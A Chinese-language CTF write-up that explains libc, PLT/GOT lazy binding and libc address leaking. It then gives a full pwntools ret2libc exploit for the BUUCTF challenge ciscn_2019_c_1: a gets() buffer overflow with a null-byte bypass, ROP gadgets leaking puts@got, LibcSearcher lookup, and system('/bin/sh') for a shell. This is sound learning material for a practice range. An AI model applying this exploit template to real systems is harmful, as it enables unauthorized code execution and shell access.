一、libc

      libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现

      通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)

      libc库不仅实现标准C语言中的函数,而且也包含自己所属的函数接口。比如在glibc库中,既包含标准C中的fopen(),又包含类Unix系统中的open()。在类Unix操作系统中,如果缺失了标准库,那么整个操作系统将不能正常运转。

      而Windows系统并不将libc库作为整个核心操作系统的一部分。通常每个编译器都附属自己的libc库,这些libc既可以静态编译到程序中,又可以动态编译到程序中。也就是说应用程序依赖编译器而不是操作系统。

简单理解为libc为程序语言提供函数库,

二、延迟绑定技术

简单理解为,一个外部函数只有在被执行时才会绑定真实地址,

plt表:通过这个表可以调转到got表。

pwn_plt.1.png

如上为puts的plt的代码,由三个指令组成
第一条,跳转到got表的puts位置寻找地址,got位置如没有地址,则数据为plt第二条指令地址
第二条,压栈,0x1为got表下标
第三条,跳转到plt[0]位置,这里就是将外部函数进行绑定,即将地址存入got表和执行函数

pwn_plt.2.png

got表:如果外部函数没被执行过,则jmp到plt第二条指令,如果时已经被调用过的,则直接jmp到函数入口

pwn_gto.15.png

三、libc泄露

libc库里的函数之间得到地址时相对稳定的,我们只要指导一个函数的地址就能找到其他函数的地址,即我们只要找到libcde的基地址,就能指导其他的地址,

libcbase=funA_addr-libc.dump(funA)
funB_addr=libcbase+libc.dump(funB)

利用条件:
不同的libc版本里面的项会由一定的差异,所有我们必须知道所使用的libc版本,
知道一个函数的真实地址

由分页机制,一页大都为4K,则libc里的项地址低12位固定,我们就可以用这12位来区分libc版本,

这里可以用开源的 LibcSearcher 来根据地址来确定版本

四、靶场练习

BUUCTF 上的pwn ciscn_2019_c_1

简单说明一下,

pwn1.1.png

只开了NX和部分RELRO
partial PELRO:一些段(包括.dynamic,.got等)在初始化后会被标记为只读。

pwn1.2.png

这里有个gets(s)没有做输入限制,则我们可以做溢出攻击,下面时对输入数据做简单加密,但有个strlen() 我们可以\0绕过,即输入\0aaaaaaa,我们后面的aaa就不会被加密。

在题目中没有找到可以直接用的system 和sh之类的字眼,无法直接利用,那么我们可以用libc泄露来执行libc里的system函数,
我们可可以看到gets上面有个puts我们就可以利用已经被调用过的puts函数来泄露libc版本,

pwn1.3.png

如上如,我们用数据覆盖到返回地址处,在返回地址上用pop rdi; ret代码段的地址填充,即将下面puts_got数据pop到rdi寄存器中作为下面puts_plt的参数,返回地址填充main是为了使程序回到开始,让我们再次利用。
说明:pop rdi;lret为特点指令段,该指令段里有pop rdi;即将栈顶数据pop到rdi中,还有ret指令,以栈顶数据返回我们想要的地方,可以用ROPgadget来寻找这样的代码段,如:

pwn1.5.png

libc泄露代码:

p=remote("node4.buuoj.cn",28330)  //连接
elf=ELF('./ciscn_2019_c_1')    //载入下载的ELF文件

puts_plt=elf.plt["puts"]    //获取puts@plt    即puts的plt地址
puts_got=elf.got["puts"]    //获取puts@got    即puts的got地址
main=0x400b28                //主函数入口地址
pop_rdi_addr=0x400c83        //gadget代码段地址

p.recvuntil("!\n")        //这里就是当出现实现菜单选择
p.sendline("1")
p.recvuntil("ed\n")
                            //构造数据 距离返回地址0x58 这里的-1是因为前面的\0占了一字节
payload1=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)

p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
                            //获取puts输入的地址
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))

libc=LibcSearcher("puts",puts_addr)    //用LibcSearcher匹配libc版本,可能出来多个版本,我们一个一个尝试即可
libcbase=puts_addr-libc.dump("puts")    //计算libc基地址
system_addr=libcbase+libc.dump("system")    //获取system()地址
binsh_addr=libcbase+libc.dump("str_bin_sh")    //获取bin/sh字符地址

下面就是写入数据执行system(bin/sh)

pwn1.6.png

这里要填充,是因为要堆栈平衡,目前我还不是很懂,

代码:

p.recvuntil("!\n")       //页面交互
p.sendline("1")
p.recvuntil("ed\n")

ret_addr=0x4006b9    //同样用ROPgadget获取一个ret地址来填充
payload2=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)

p.interactive() 

完成exp

from pwn import *
from LibcSearcher import *

p=remote("node4.buuoj.cn",28330)
elf=ELF('./ciscn_2019_c_1')

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x400b28
pop_rdi_addr=0x400c83

p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")

payload1=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))

libc=LibcSearcher("puts",puts_addr)

libcbase=puts_addr-libc.dump("puts")

puts=libcbase+libc.dump("puts")
print(libc.dump("puts"))
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")

p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")

ret_addr=0x4006b9
payload2=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)

p.interactive()

执行如下:
pwn1.7.png

五、总结

知识:动态绑定、延时绑定、plt表、got表、gadgets、堆栈平衡问题、libc库、栈帧移动。
工具:LibcSearcher、ROPgadget
总之花了很久的时间才理清楚基本逻辑,以前没基本没怎么接触pwn,总之感觉逆向这给方向确实有点打老阔,加油!骚年。